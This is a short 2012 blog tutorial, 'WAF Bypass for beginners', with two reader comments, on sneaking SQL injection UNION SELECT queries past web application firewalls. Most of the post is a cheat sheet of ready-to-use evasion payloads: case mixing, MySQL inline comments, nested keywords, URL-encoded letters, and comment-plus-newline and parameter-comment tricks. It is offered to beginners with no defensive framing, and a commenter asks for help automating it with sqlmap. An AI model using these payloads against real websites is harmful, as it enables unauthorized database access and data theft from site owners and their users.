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Wednesday, 7 November 2012

Ajith KP

WAF Bypass for beginners

WAF Bypass is for bypass 403 Forbidden. WAF stands for Web Application Firewall.





Look above image. We didn't successfully executed "union+select 1,2,3,4,5,6,7,8--".

Here we use advanced tricks in SQL injection. It is called WAF bypass.

Here one of the example of WAF Bypass,

"union(select 1,2,3,4,5,6,7,8)--"







Look above picture I have successfully executed SQL fuction.

Some Cheat Sheet for  WAF Bypass on "UNION SELECT"

"UnioN SelecT" -->[Intermix of Capital and small letters]
"/*!Union*/ /*SelecT*/" -->[For the persons who know SQL understand it /*!comment syntax*/]
"UNIunionON+SELselectECT" -->[For Bypass firewall from remove of UNION SELECT from URL]
"%55nion %53elect" -->[%55=U and %53=S]
"%23ajithkp560%0aUnIOn%23ajithkp560%0aSeLecT" -->[%23 = #, single line comment, and %0a = New line]
"/*&id=*/union/*&id=*/select/*&id=*/" -->[Unwanted Comments]

2 comments

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Anonymous
AUTHOR
5 August 2014 at 22:11 delete

i cant do that manually like this .Which tamper data who can do it using sqlmap ,mr ?
please help me ,thanks ..

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Ajith KP
AUTHOR
22 August 2014 at 19:45 delete

Check here: http://www.terminalcoders.co.vu/search/label/Hacking

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